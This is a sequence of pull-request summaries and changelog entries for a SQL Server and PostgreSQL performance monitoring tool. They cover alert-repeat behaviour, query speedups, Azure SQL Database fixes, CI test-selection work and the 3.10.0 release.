The plan regression late-row live test failed every day from 00:00 to 04:00 UTC. Its seed built the window's days counted back from today. The window starts four hours before now, so in those hours its first day is yesterday minus 14 and was never built. The seed now counts the built days from the date of the window start. Only the test changes. The product already reads an unbuilt day live, by design.

The seed takes an optional fixed clock. The late-row test runs once on the real clock and again at 00:30, 03:59, 04:00 and 12:00 UTC on a fixed date. Every assertion is kept.

* "Collection Stopped" alerts once per outage instead of once per cooldown (#5489) (#5490)

A server whose collection stayed dead got a new "Collection Stopped" alert every cooldown. It is a state, so it now alerts once per outage and writes one "Collection Resumed" row when it recovers.

A standing outage repeats only when connection_refire_minutes is above 0, every that many minutes. An alert no channel took is still sent again after the failed-send back-off. After a service restart the first sweep sends one alert for a server that is still down. Other self-alerts keep their per-cooldown repeat.

SECTION: Fixed
ENTRY: - **"Collection Stopped" alerts once per outage** ([#5490]) - A server with dead collection got a new "Collection Stopped" alert every few minutes. That filled Alert History. It now alerts once per outage and writes one "Collection Resumed" when it recovers. The `connection_refire_minutes` setting decides how often a standing outage repeats, and 0 (the default) means never.

Fixes #5489

* procedure_stats fetches plans only for plans the host has not stored, by default (#5158) (#5502)

The procedureStatsDeferredPlanFetch setting now defaults to on. procedure_stats renders and ships a module plan only when the collector has not already stored it, which cuts plan-rendering CPU on the monitored servers. Azure SQL Database and hosts with plan capture off keep the inline path, and "off" in darling.json restores the old behavior. The sample config, README and tests now describe on as the default.

SECTION: Changed
ENTRY: - **procedure_stats now fetches plans only for plans the collector has not stored** ([#5502]) - The procedureStatsDeferredPlanFetch setting now defaults to on, so a plan the collector already holds is not rendered on the monitored server and sent again. This cuts plan-rendering CPU on the monitored servers. To restore the old behavior, set procedureStatsDeferredPlanFetch to "off" in darling.json. Azure SQL Database stays off whatever the setting says.

Refs #5158

* Azure SQL Database sizes cover every database, and a firewall block names the firewall (#5498) (#5500)

Database size collection on an Azure SQL Database server now runs once per user database, so every database reports its own data and log files on the first run. The old master-only sibling arm is gone. Rows already stored stay in history.

Storage Growth leaves the old whole-database rows out of its 7-day and 30-day sides, so an Azure database's log file does not read as growth after the upgrade. A database with no comparable older row shows no growth figure until it has 7 days of new rows.

The 40615 error now says first that the firewall did not allow the client's IP address, and to add a server-level rule or a database-level rule in master. Setting a database is given only as the fix when a login can open a user database but not master.

SECTION: Fixed
ENTRY: - **Azure SQL Database sizes now cover every database, and the firewall error names the firewall first** ([#5500]) - Database sizes on an Azure SQL Database server now cover every database, not just master. The 40615 error says first that the firewall did not allow the client's IP address, and to add a server-level rule or a database-level rule in master. Storage Growth shows no growth figure for an Azure database until it has 7 days of new rows.

Fixes #5498

* One selection script for the test jobs, with a failure-corpus replay guard (#5503)

The CI test-selection rules now live in one script, .github/scripts/ci-select.py, which the Lite shard scope step and the build job call. A trimmed record of a month of failing runs is committed. A Guard-stage test replays it on every pull request. Each class that failed before must still be selected for the files of the run it failed in, or the test fails.

The build job's no-store Darling run now keeps only the Guard stage while the PostgreSQL shards run, since they run every Darling class already. That saves about 7.7 runner-minutes on roughly nine in ten pull-request runs. The replay finds no failing class it stops covering.

Refs #5459

* Tests that read the clock twice now read it once (#5496) (#5499)

Some tests failed only when a run crossed midnight UTC. One test read the clock twice, and the two readings landed on different days.

This checks every test file that anchors on a calendar day. It fixes the six that read the clock more than once. Some also mixed a local clock with a UTC date. Each now uses a single reading. The seed-start helper in the rollup floor test takes the test's one instant, with cases just before and after midnight.

The 17-day trigger edge test now reads the database clock, because that is the clock the trigger uses. If that clock is within 10 seconds of the next midnight, the test waits it out first. A test with an injected clock covers the wait path.

One product reader that reads its own clock is listed in the pull request as needing a seam. No product code changed.

Fixes #5496

* Lasting-state self-alerts send one alert per occurrence, not one per cooldown (#5493) (#5497)

Lasting-condition alerts send once per occurrence instead of once per cooldown.

Darling covers Capture Down, Agent Not Running, AG Sync Fell Behind, custom rule health, collection falling behind, store job over cadence, retention held, raw purge over horizon and a policy job stuck after escalation. Lite covers AG Sync Fell Behind. The repeat setting (connection_refire_minutes) now covers all of them, and its label and tooltip in the Darling viewer and Lite settings windows say so. Each sends one alert when the condition starts and one resolution when it ends. It repeats only when connection_refire_minutes is above 0. An alert no channel took is still sent again after the failed-send back-off.

A rise to a higher severity inside one occurrence (warning to critical) still sends one more alert. A custom alert rule joining the unhealthy set sends one alert that names the new rule. The shared engine's database state repeat is unchanged.

SECTION: Fixed
ENTRY: - **Darling and Lite alert once per occurrence for lasting conditions** ([#5497]) - Capture Down, Agent Not Running, AG Sync Fell Behind (Darling and Lite), custom rule health, collection falling behind, store job over cadence, retention held, raw purge over horizon and a policy job stuck after escalation sent a new alert every cooldown for as long as they lasted. Each now sends one alert when it starts and one resolution when it ends, and repeats only when connection_refire_minutes is above 0. A rise to a higher severity inside one occurrence (warning to critical) still sends one more alert,. So does a custom alert rule joining the unhealthy set.

Fixes #5493

* Flaky test classes: the statement filter tests no longer depend on the runner's speed (Refs #5459) (#5504)

This branch fixes the flaky test classes the first W5 pass left. Most were already fixed on the base, and the pull request table gives each class its cause and proof. Users see no change. The product code gains two test seams with the same default: one in the alert statement filter, one in the collector context.

Fixed here: the statement filter judges text under a wall-clock budget, and a slow runner ran it out. Its tests now pin a budget that cannot run out, and other tests prove that a spent budget withholds. The snapshot worst-case test and the slow-judge test use the same idea, so a busy machine cannot fail them. The CPU accountant tests allow one stray scheduler tick on the idle side, because the counter moves in 15.6 ms steps. The install-tree helper process now outlives the child's limit. The DuckDB trim test waits for a cycle that really ran, and the encrypt-password tests wait 180 s on their children.

Already fixed on the base: the rollup backfill cancellation, the wide-grid round trip and the store-roles "60s" check. The same goes for the log-tail rotation tie, the store-host chunk count, the upgrade revert token, the managed-store directory move and the deploy probe limit. The PostgreSQL classes passed on a throwaway rig. The Guard stage passes 1372 of 1372 on Darling.Tests and 372 of 372 on Lite.Tests. The census and ratchet classes pass.

Refs #5459

* Lite FinOps: first visit loads real data, and the advice only claims what the data supports (#5488)

Lite's FinOps tab opened on the empty window read before the first collection, and some of its advice claimed more than the data supported. The first show after start-up always reloads the selected server. Later shows reload when the last load is 30 seconds old or more. A tab left open reloads when a collection for its server finishes.

A database counts as idle only when query stats hold a sample on each of the 7 complete UTC days before today. The oldest sample must also be at least 7 days old. That rule drives the recommendation, the Idle Databases grid and the Server Inventory Idle DBs column. CPU right-sizing gives one row per server, and each rule checks its own window. Free editions get no licensing advice. Storage Growth uses the sample nearest each 7 and 30 day mark, or shows n/a.

The Utilization badge and the Server Inventory Health column show a dash when there is no CPU sample. Column headers show in full, Database Sizes is titled with the selected server, and recommendation details wrap. List rows, tabs and filter buttons carry names for screen readers. In Settings the poison-waits label is fixed, the CPU box shows in full, the window fits the screen, and Save and Close stay visible. The Overview Last Collect time follows the timestamp setting on the server's own clock.

Top Queries and Query Store no longer list Lite's own collector queries. Grids and charts that have their own empty message no longer get a second text over it. The generic empty text reads "No data for the selected time range." The tab rows stay in place when a tab is selected.

SECTION: Fixed
ENTRY: - **Lite's FinOps tab loads real data on the first visit, and its advice claims only what the data supports** ([#5488]) - The tab opened on the empty window read before the first collection. It showed "No Data", empty grids, a false idle database row and a Health score of 100. The first visit now loads the selected server, and an open tab reloads when a collection for its server finishes. A database counts as idle only with a query stats sample on each of the 7 full UTC days before today. CPU right-sizing gives one row per server, and Free editions get no licensing advice. Storage Growth shows n/a when no sample sits near the 7 or 30 day mark. The Settings window now fits the screen, with Save and Close always visible. Top Queries and Query Store no longer list Lite's own collector queries, and list rows, tabs and filter buttons carry names for screen readers.

* Lite-only pull requests run the Darling classes that read Lite files, not the whole suite (#5505)

Pull requests that change only Lite files now run fewer Darling tests. Darling test classes that read a Lite file carry a Reads=Lite trait, derived from the class source by a census and applied by a script. On a Lite-only pull request, the build job and the whole-tree guards job run the Guard stage plus those classes. They no longer run the whole Darling suite. Pushes, merge-queue runs and releases still run everything.

The selection rule lives in the CI selection script. The replay of past failing runs shows the rule skips none of the classes that failed.

Refs #5459

* Lane orders no longer tell lanes to add attribution trailers (#5535)

The lane-orders skill told each lane to end its commits with two attribution trailers, a co-author line and a session link. That goes against the 2026-10-01 ruling of no attribution lines, and three lanes followed it this wave. The skill now says no attribution lines in commits or PR bodies, and drops the two placeholders that a brief no longer fills.

Doc-only change to .claude/skills/lane-orders/SKILL.md. No build or tests involved.

* A manual-only nightly job probes AltCover per-test coverage for the test-class map (#5459) (#5512)

The nightly workflow gets a manual-only job. It runs a sample of 100 Darling and 60 Lite test classes with AltCover coverage on, plain and instrumented. It uploads the raw reports, a summary and a class-to-file map for each suite. The scheduled nightly never runs it.

On the sample, AltCover worked on .NET 10 with xUnit v3 and added no measurable run time at method level. 98 percent of the Darling product files that ran, and all of the Lite ones, were tied to a test class. The job also puts skips that instrumentation turned into failures back to skips, and a script in .github/scripts turns the reports into the map format.

Refs #5459

* A managed store near a free-disk step no longer reads stale after a hardware change (#5459) (#5511)

A managed store near a free-disk step of 16, 32, 64 or 128 GB read "stale after a hardware change" for max_wal_size when nobody had touched it. The check derived the value again from a newer reading of the volume and compared for equality. Ordinary disk churn across a step flipped it. This is what failed once in the managed-conf verdicts live test.

The settings check, the stored verdicts and the service start now share one tolerance. A stored max_wal_size that the size ladder picks for any reading within one eighth of the current free space counts as current. A start near a step keeps the block it wrote instead of appending a new one. Halved or doubled headroom and a new PostgreSQL major still count as changes.

SECTION: Fixed
ENTRY: - **A managed store near a free-disk step no longer reads "stale after a hardware change"** ([#5511]) - The WAL size check compared max_wal_size against a fresh reading of free space. A few hundred MB of disk churn across a 16, 32, 64 or 128 GB step made an untouched store read stale. It now accepts a value the ladder picks for any reading within one eighth of the current free space. Halved or doubled headroom still reads stale. A service start near a step keeps the value it wrote instead of appending a new block.

Refs #5459

* Test selection from a class-to-file map: selection code and Darling test timings (#5459) (#5509)

Adds the code that will choose test classes from a map of which source files each class touches. It has a map-select command, a replay of the failure corpus against a map, and a guard-stage test with a small synthetic map. It runs everything whenever the map is missing, old, or cannot account for a changed file. No workflow step calls it yet, so no run selects differently.

The Darling PostgreSQL shards also write per-test timings and upload them for 7 days, as the Lite shards do. The later selection can then estimate time per class.

Refs #5459

* Wait Stats spinlock read at 7 days no longer sorts every row of the window (#5495) (#5501)

The spinlock read totals the window in one pass. It then looks up the newest rows of only the top spinlocks, instead of comparing every stored row with the one before it. A row with no spinlock name is still left out.

For windows of 6 hours or more, the PostgreSQL I/O read takes whole hours from a new hourly table (collect.pg_io_stats_hourly, store schema 170). It reads raw rows only at the two edges. A count check compares each hour, and the hour before the span, with the raw table. When they differ, the read falls back to the old one. The hourly tick fills the table, with up to 2 minutes of builds per tick.

SECTION: Fixed
ENTRY: - **The spinlock and PostgreSQL I/O reads no longer go through every stored row of a long window** ([#5501]) - Both reads compared every stored row with the one before it. We measured both on a large store over 7 days. `get_spinlock_stats` went from 3.9 seconds warm (6.8 cold) to 0.22 to 0.26 seconds warm (1.7 cold). `get_pg_io_stats` went from 2.8 seconds to about 0.26 seconds. The spinlock read now totals the window in one pass and looks up the newest rows of only the top spinlocks. For windows of 6 hours or more, the PostgreSQL I/O read takes whole hours from a new hourly table (`collect.pg_io_stats_hourly`, store schema 170). It reads raw rows only at the two edges, and the viewer's I/O tab uses the same read. It falls back to the old read whenever an hour's row count does not match the raw table. After the upgrade, the hourly tick fills the new table.

Fixes #5495

* Nightly builds a class-to-file test map from the whole Darling and Lite suites (Refs #5459) (#5539)

The nightly now builds a map of which test classes run which source files. It runs the whole Darling and Lite suites under AltCover in 10 shards. It joins them with what the test sources name: paths, tool names, type names and whole-tree readers. The result is uploaded for 14 days. It is on by default, a dispatch can turn it off, and its failure never fails the nightly.

Nothing reads the map yet, and no pull request or push run selects differently. The next slice uses it in shadow mode.

Refs #5459

* Stale servers read as stale, Collection Stopped counts from the last real collection, and Wait Stats reads spinlocks once (#5492)

A server that stops collecting no longer looks healthy in the web viewer or the Darling Viewer. Its fleet card and server header tiles read n/a with the time of the last collection, not 0% CPU and "memory ok". The Availability Groups page says Stale when its data is old, and a group with no primary is never Healthy.

The Collection Stopped alert counts from the last successful collection in the store, so a service restart no longer resets it. Long gaps read as "12 days" or "3 hours". The Wait Stats tab asks for the spinlock and latch lists once, not twice. Identical tool reads in flight share one request.

Web text and layout are cleaner. The Plan button shows the plan full width under its row. Messages no longer show internal names. On a server without Always On, Collection Health lists a healthy Always On collector as not applicable. A failing, stale or stopped one keeps its log row. Every server pick list on the web uses the sidebar's order.

FinOps asks for more history before it calls a database idle. That needs a query-stats sample on each of the last 7 UTC days. A server is over-provisioned only after 24 hours of CPU samples. Developer, Evaluation and Express editions get no Enterprise licensing advice. FinOps works on PostgreSQL targets and opens on the first SQL Server target.

SECTION: Fixed
ENTRY:
- **Offline servers read as stale, Collection Stopped counts from the last collection, and the web pages and FinOps read in plain words** ([#5492]) - A server that stopped collecting showed live-looking values (0% CPU, memory ok, 77 free threads) on its fleet card and header tiles in the web viewer and the Darling Viewer. They now read n/a with the time of the last collection. The Availability Groups page showed "Healthy" on 12-day-old data and for a group with no primary. It now says Stale for old data, and a group with no primary is at least Warning. The Collection Stopped alert text (email and every other channel) counted from the service start, so a restart reset it. Long gaps read as thousands of minutes. The text now counts from the last successful collection in the store and reads "12 days" or "3 hours". The Wait Stats tab sent the same spinlock and latch reads twice per load. Identical tool reads in flight now share one request. The Plan button now shows the plan full width under its row instead of in the last grid column. This covers Top Queries, Query Store history and PostgreSQL captured plans. The Instance CPU panel is hidden on a PostgreSQL server that is not Aurora. A "not collected" answer reads as one short line instead of gate names. Messages no longer show internal names such as hints.captures, hours_back, denied_since_last_success or collector measurement counts. Alert Settings shows a readable label with the key as a tooltip. On a server without Always On, Collection Health lists a healthy Always On collector as not applicable. A failing, stale or stopped one keeps its log row. Collection Health also opens worst collector first, and the Daily Health Calendar opens newest day first. The Admin Servers Auth column reads "Username and password" for PostgreSQL targets. Every server pick list on the web now uses the sidebar's order, display name with favorites first. This covers FinOps, Alert History, Job History, and the Custom View and notebook scope lists. The page header says SQL Server and PostgreSQL. The "read 6 of 9 servers" line under the Deadlocks tile has a tooltip that says why. The Alerting Reads panel drops tiles with no value. Collector counts written as "shred_gated_1 events_read_0" read as words. In FinOps, an idle-database claim now needs a query-stats sample on each of the last 7 UTC days. A server gets one CPU right-sizing recommendation, and only after 24 hours of CPU samples. Developer, Evaluation and Express editions get no Enterprise licensing advice. Storage Growth baselines are the sample nearest 7 and 30 days ago, else n/a with a reason. Utilization and Server Inventory show a dash instead of a health score when there are no CPU samples. On a PostgreSQL target, a FinOps panel that the server cannot answer reads "Not collected for PostgreSQL". FinOps opens on the first SQL Server target. The Darling Viewer's FinOps grids show full headers, a wrapped Recommendations detail, and a dash with a tooltip for an empty savings estimate. The Database Sizes title names its server.
REF:
[#5492]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5492

* Query Store backfill keeps each server's database list instead of re-reading it every tick (#5518) (#5534)

The Query Store backfill loop read each server's list of databases with recent Query Store rows on every tick, about 100 times a day per server. QueryStoreBackfill now keeps the cut-chunk list per server and serves the next tick from it. The list is read again when the statement text changes (the cut chunk moved), when a Query Store write names a database not in the list, when the list is an hour old on a monotonic clock counted from when the read began, or when it was read beside a write in flight or after an ambiguous failed write.

QueryStoreWriteFence, already called by the single COPY path for every Query Store write, now also records the database names each write carries before the transaction opens. The runner passes the batch's names, and the worker hands the backfill the same fence. A removed server's cached list and recorded names are dropped when the worker reconciles the server set. A database created by a writer outside the service can be missing from the list for up to 60 minutes plus one backfill tick. Holes are not affected.

Review round 1: live tests pin the runner-to-fence hand-off and the snapshot-before-read order by behavior, the cache age moved to a monotonic clock, the docs state the real bound and the outside-writer case, and removed servers are forgotten.

Fixes #5518

* README catches up with everything since v3.9.0 (release checklist step 2b) (#5491)

The README now matches the product on dev for everything since v3.9.0. It adds the Darling web dashboard and the twelve FinOps sub-tabs. It adds the Alert History, Job History and Availability Groups tabs, the new MCP tool groups, and MCP network access with TLS. It also adds AWS RDS and Aurora support for PostgreSQL, the diagnostics bundle, and the Linux prerequisites.

It also covers the settings that changed since the last release. These are the PagerDuty auto-resolve setting, the collection-gap and heartbeat alerts, and the run time for daily collectors. Another is the setting that decides how often a lasting problem alerts again. The Azure SQL Database troubleshooting line now explains error 40615. Every count and tab list was checked against the code.

Release checklist step 2b.

* Pull requests skip 27 slow, never-failed test classes unless the change reaches them (#5459) (#5510)

Pull request runs now leave out 27 slow test classes that have not failed in 30 days: 15 in Darling.Tests and 12 in Lite.Tests. They carry a Cost=Slow trait. A class is put back when the change reaches it. That means its own source file, a file its source names, a page script for the Node-driven classes, or a test project or build input. Pushes to dev, merge-queue runs, the nightly and releases run every class. Classes that guard passwords, keys, upgrades or shared paths stay on pull requests.

A census pins the list and the workflow wiring, and the failure replay still finds 0 misses. When nothing in a change reaches these classes it saves about 21 runner-minutes per pull request run.

Refs #5459

* Plan regression day builds get a background index, and the Query Store top summary cleanup stops scanning its table (#5507) (#5524)

Each per-day plan regression build read every index entry its server had in collect.query_store_interval_latest, because first_execution_time is the last of seven columns in the table's unique key. The service now builds collect.ix_query_store_interval_latest_server_first_exec on (server_id, first_execution_time) in the background, about 20 minutes after start. It uses the same ensure path as the wide table's twin: CREATE INDEX CONCURRENTLY, skipped with a warning on a hypertable, and an invalid leftover dropped and rebuilt. There is no migration, and the schema version does not change. The same index serves the live half of PLAN_REGRESSION, its table fallback, the drill-down twin and the table floor read.

The hourly Query Store top summary cleanup ran one DELETE with OR and NOT IN on both summary tables, which no index could serve, so every tick scanned the whole table. It now deletes the expired built rows first and removes each returned key from the summary by an index probe, in one transaction, following the plan regression daily cleanup.

Review round 1: the cleanup's live test now observes GcAsync through the table's scan counters (no sequential scan, at most the due rows fetched, nothing touched when nothing is due). The read pin covers all five reads, a new test proves a failed summary step rolls the built rows back, and three weak assertions and two comments were corrected.

Fixes #5507

* Azure SQL Database Query Store collection stops reading each database's watermark from the store every cycle (#5514) (#5527)

Azure SQL Database Query Store collection now keeps each database's watermark in the per-database cache, as the on-premises enumerated path already did, instead of reading it from the store for every database on every cycle. The Azure loop resolves the watermark through ResolveQueryStoreDatabaseWatermarkAsync with the same read floor as the enumerated path, stages the batch's contribution after the read, and commits it only after the flush returned. Both fault arms drop the key when a batch was staged, because the write might have committed; a fault before the stage keeps it. The XE ring-buffer collectors on that loop keep their own read, and the hourly reseed is unchanged.

Review round 1: a live test drives the real Azure per-database loop over two databases with write and read faults, and the fault-arm comment states when the kept key matters.

Fixes #5514

* Analysis reads the newest file I/O and perfmon rows without scanning the whole window (#5516) (#5529)

Two analysis fact reads kept the newest row per key by numbering every row in the window with a window function. They now stop inside the newest rows. The perfmon rate facts (Batch Requests/sec, SQL Compilations/sec, SQL Re-Compilations/sec) read one ORDER BY collection_time DESC LIMIT 1 branch per counter, which the (server_id, collection_time) index serves backward. The database size fact runs the new DatabaseSizeNewestSql first: it sums the newest snapshot's files by equality and reports dropped_out, and the old DatabaseSizeSql runs only when a file dropped out of the newest snapshot.

The one accepted difference: a database file seen only in snapshots strictly between the newest, the one before it and the oldest is no longer carried in the total, where the old read carried it for up to 24 hours. A live test pins it. A perfmon counter with no usable row in the window can cost up to three times the old read, as the code comment states.

Review round 1: the comments state the accepted difference and the perfmon worst case, a live test pins the difference, and stale wording was fixed.

Fixes #5516

* Store self-metrics take the dimension row count from the planner estimate, not a 26 s count (#5520) (#5530)

The hourly store self-metrics sweep wrote row_count for query_text_dim and query_plan_dim with SELECT count(*), which on a large store read about 150,000 blocks and took about 26 seconds a call. row_count for those two rows is now the planner's estimate, CASE WHEN c.reltuples >= 0 THEN c.reltuples::bigint END from pg_class, the same expression TableInsertSql already uses. A table never vacuumed or analysed maps to NULL. The series moves in steps between ANALYZE and autovacuum runs and rounds above about 16.7 M rows, and get_store_metrics calls it an estimate.

Review round 1: a source-scan test backs the claim that no reader computes from a dimension row's row_count, and the comment states the step and rounding behavior.

Fixes #5520

* Query Store wide-table reads bound first_execution_time at the window end too (#5523) (#5533)

The per-server reads of collect.query_store_interval_wide bounded first_execution_time only from below, so ix_query_store_interval_wide_server_first_exec scanned from the window start to now. Each read now also bounds it from above: the MCP top read and the viewer's Queries grid at the window end plus 12 hours (FirstExecUpperSlack), each edge arm of the MCP long-window read at its own end, and the history tool at its end. The duration trend's interval arm takes first_execution_time in [start - 1 h, end + 25 h] from interval_start_time_utc (IntervalStartSlack, IntervalStartFirstExecMargin), and its legacy arm adds the 12 hour upper bound. The per-day build was already bounded and is unchanged.

The 12 hours covers the clock difference between the monitored server and the service plus a long collection cycle. Rows from a server whose clock runs more than 12 hours ahead of the service can drop from a closed window. The comment that called a clock running ahead unsupported is corrected: the catch-up clamp only raises a watermark that is too old.

No index is added. On the field store the existing index serves a window that ends now at about 2 index entries per row returned, and one query's 3-day history read is 1.7 s cold.

Fixes #5523

* A managed store near a WAL size step no longer rewrites its settings file on a restart (#5459) (#5544)

A managed store near a WAL size step (16, 32, 64 or 128 GB free) rewrote its managed settings file on a restart. Nothing else had changed. The file derives max_wal_size and min_wal_size from free space. A reading on the other side of the step gave another size and another body. The tolerance from #5511 covered the settings check, the stored verdicts and the postgresql.conf block, but not this render.

The render now takes the size already in the file. It keeps that size while it is within one eighth of the free space, the same rule as #5511. Halved or doubled headroom still moves it, and a hand-edited file is never read for it. Tests plant the free space 200 MB on each side of every step, in a unit test and in the live two-start test.

SECTION: Fixed
ENTRY: - **A managed store near a WAL size step no longer rewrites its settings file on every restart** ([#5544]) - The managed settings file derives max_wal_size and min_wal_size from the data volume's free space. A volume within a few hundred MB of a 16, 32, 64 or 128 GB step got another size on the next service start. The file was rewritten with nothing else changed. The file now keeps its size while it is within one eighth of the current free space, the same tolerance the settings check uses. Halved or doubled headroom still moves it. A hand-edited file is still left alone.

Refs #5459

* Release checklist: Azure SQL Database skips and the forced firewall outage, as tested for 3.10.0 (#5545)

Step 5 of the release checklist asked for SKIPPED rows from collectors that do not apply to Azure SQL Database. Darling marks the SQL Agent collectors (running_jobs, job_history, agent_status) not applicable when the server is added and never runs them, so they leave no collection_log row and no health entry. Both 3.10.0 test runs flagged that against the old wording. The step now describes what really happens, and the success line says no inapplicable collector may be recorded as a failure.

The firewall churn step already warned that deleting the rule does not break open connections. The 3.10.0 runs showed that twice. The step now says how to force a real outage: open admin sessions first, delete the rule, wait 6 minutes, then KILL Darling's sessions in each user database (KILL is denied in master). Collectors that open new connections then hit 40615. The log message must name the firewall, and the collectors must store rows again after the rule comes back, without a service restart.

Doc-only change to .claude/skills/release-checklist/SKILL.md. No build or tests involved.

* The start-up check for gaps in the rollups finds a missing day with an index seek, not a whole-chunk read (#5521) (#5538)

The start-up materialization hole scan probed each candidate bucket with m.bucket = b.bucket. On a chunk with few distinct bucket values the planner estimates that equality from n_distinct as matching a large share of the chunk, so it costs a Seq Scan under EXISTS as nearly free and reads the whole chunk when the bucket is missing, which is exactly the case the scan looks for. The probe is now m.bucket >= b.bucket AND m.bucket <= b.bucket: the same rows, but PostgreSQL gives a range with two non-constant bounds its default selectivity, so it seeks bucket_idx. The legacy and successor probes in LegacySuccessorHoleBodySql get the same pair.

Field store, one missing day on the daily Query Store interval rollup: 11.2 s and 240,137 buffers before, 0.89 ms and 3 buffers after (Index Only Scan). The whole scan: 14.2 ms to 10.4 ms on the daily rollup, 107 ms to 105.5 ms on the hourly one. A live test checks that the probe uses the index for a missing bucket, and a pin test holds the range text.

Fixes #5521

* The Fleet page and the fleet overview total PostgreSQL deadlocks without ordering databases whose counter never moved (#5526) (#5536)

The fleet PostgreSQL deadlock totals (DarlingFleetReader.FleetPgDeadlockSql for get_fleet_overview and /api/fleet, and the viewer's FleetTotalsSql) ran one LAG window partitioned by server_id and database_name over every server's rows in the window. A (server_id, database_name) pair whose counter has the same value in every sample adds nothing to the total, so the reads now find each pair's row count, counter count, min and max in one unordered aggregate. A flat pair adds n - 1 intervals and nothing else. Only the pairs whose counter moved go through the ordered LAG, one server at a time by server_id. The Fleet page total keeps only the pairs with min <> max. Counter resets, NULL counters and NULL database names give the same totals as before.

Store with 50 PostgreSQL targets, 168 hours (the most either surface accepts): 433 of 443 pairs flat; fleet overview 6.8 s to 0.68-0.77 s, Fleet page total 6.7-6.8 s to 0.64-0.80 s; old and new return the same rows. A live test compares the old SQL against both new reads on hand-worked and generated seeds, and pin tests hold the shipped text, including the gate that skips the second read for a server with only flat pairs.

Fixes #5526

* The module map refresh at service start and in the daily sweep reads from its watermark, not two days (#5519) (#5528)

The module map refresh read a flat two days of procedure_stats (RefreshSql) at every service start and in every daily sweep, although the map already carries a watermark that the hourly path keeps within about an hour of the table. Service start now calls DarlingModuleMap.RefreshAtStartAsync, and both start-up and the daily sweep read from DailyRepairSlack (30 hours) behind the watermark, capped at the two-day lookback. The full two-day read stays for an empty map, a map with no watermark, or an unreadable one. The 30 hours cover the daily's own 24-hour cadence plus a margin, so a row committed late behind the watermark is still repaired before raw procedure_stats ages out. Start-up and daily refreshes log under their own labels, and the hourly and start/daily paths share one private method.

Review round 1: the span went from 6 to 30 hours, start-up uses the same span, and a live test proves a late-committed row stamped a day before the daily is repaired by both the daily and the start-up refresh.

Fixes #5519

* Custom Views and custom alert rules scope server reads by server_id, not server name (#5525) (#5537)

Custom View and custom alert rule reads (the Compose compiler) filtered fact tables by server_name = ANY($n), which on compressed TimescaleDB chunks cannot use the server_id segment index. One shared predicate, ServerScopeSql.Predicate (called by ComposeCompiler.ServerScope), now scopes by server_id = ANY(ARRAY(SELECT reg.server_id FROM collect.servers AS reg WHERE reg.server_name = ANY($n))). It covers the raw fact read for every source table, the Query Store dedupe, the procedure module CTE, the hourly-raw-edges arm and rollup routes, the annotation query, the server clock read, and the hourly-raw-edges count guard. Every value stays a bind parameter.

ComposeServerScope.FindUnregisteredAsync finds scoped names with no registry row before the panel or rule runs; those are added as OR server_name = ANY($u), and a failed lookup logs a warning and treats every name as unregistered. The alert sweep looks names up once per server. A scope name means the server or servers the registry holds under that name now: a renamed server's scope includes the rows it stored under its earlier name, a name reused by a new server means the new server, and a name held by two registry rows means both. collect.module_map stays scoped by name, so on the hourly-raw-edges route a renamed server's older procedure handles held only by the map read (ad hoc).

Review rounds: the count guard takes the same scope as the read, live tests and a source pin fail if a lookup call is removed, the every-emitter test checks every statement, and the semantics and changelog state the name-reuse case.

Fixes #5525

* Query Store reads on the stored interval tables no longer miss an interval that began just before the table's floor (#5541) (#5543)

The Query Store read gates (QueryStoreIntervalLatest.UseTable and QueryStoreIntervalWide.UseTable) took the stored interval table when raw's floor was at or above the table's floor. Raw purges by collection_time and the interval tables purge by first_execution_time, so raw could still hold a snapshot of an interval that began below the table's floor, and the read left it out.

Clause 3a is now raw floor >= table floor + PurgeEdgeMargin (26 h: a 1-day interval span, the 60-minute slowest cadence and the 1-hour catch-up cap) in both rules. The Wide rule's clause 3b uses window start - PurgeEdgeMargin, which closes a one-hour band reachable on default retention. The table floor always comes from the per-server MIN(first_execution_time), because neither interval table is a hypertable in production. The chunk-catalog read is renamed RawChunkFloorSql and returns only raw's floor. Comments that said one day now say 26 hours.

Fixes #5541

* A quiet server's job history and default trace watermark read tries the last week before its whole slice (#5515) (#5532)

When the 6-hour watermark probe finds no row, the watermark reads now try the last seven days (WatermarkPolicy.WidenedWatermarkWindow) before they read the server's whole slice. This covers GetLastCollectedTimeAsync (default_trace_events and the other timestamp watermarks), GetLastCollectedInstanceIdAsync (job_history), the cpu_utilization pair read and the per-database read used by the Azure deadlock, blocked-process and long-query collectors. They run the same bounded statement with an older bound, so no new SQL text. A hit in the week is never newer than the unbounded MAX and equals it for every column that rises with collection_time. job_history's run_datetime can come back older, which only widens the next re-read, and dedupe drops the repeats.

Review round 1: the docs no longer say "identical", the cpu pair and per-database reads take the week step too, and two live tests count their unbounded reads.

Fixes #5515

* Shadow mode for the test-class map: a pinned map, the selection in the step summary, and a shadow-check row (#5459) (#5540)

Shadow mode for the test-class map. Each pull request run pins the newest successful nightly map built from an ancestor of the base. It prints the classes that map selects, and their estimated seconds, in the step summary. A shadow check after the shards writes one row per run and lists each class that failed but is not in the selection. Every shard still runs every class. A missing, old or unreadable map gives the full selection and a notice.

The replay can now list every miss. The map rules take more files where the replay found holes. They count repo paths named in comments and test files that name another test class. They also count partial types spread over many files and documentation files a test reads by name. The one hole class is now mapped. The nightly map shards and the AltCover probe now wait for the build and PostgreSQL jobs, so they stop taking their runners.

Refs #5459

* Release 3.10.0: version, changelog, archive (#5548)

The version goes from 3.9.0 to 3.10.0. In the CHANGELOG, the entries for PRs merged since 3.9.0, through #5536, are spliced into a new [3.10.0] - 2026-10-08 section. Entries that belong together are folded, so the section holds 257 entries. The prose moves to docs/changelog/3.10.md, and the archive census gains its row.

An Important entry covers the Darling store migrations V158 through V170, which run on the service's first start. None of them rewrites a large table or needs an offline window. The upgrade-path test also gets its fixture for the 3.9.0 release, migration-ladder-v3.9.0.sql, generated from the v3.9.0 tag.

Release checklist steps 1, 2, 2a and 4 for 3.10.0.

* Darling tests: the nightly's PostgreSQL step no longer fails after every test passes (#5546)

The nightly's Darling PostgreSQL test step exited 1 after every test passed. xunit.v3 under Microsoft.Testing.Platform waits 1 s after the run returns, prints "Waiting 10 seconds...", and exits 1 if the process is still alive 10 s later. ScratchPostgres's process-exit drain was still dropping scratch databases that seven live classes never disposed, and since #5480 each drop also quiesces the database's TimescaleDB jobs, so the drain outgrew the window.

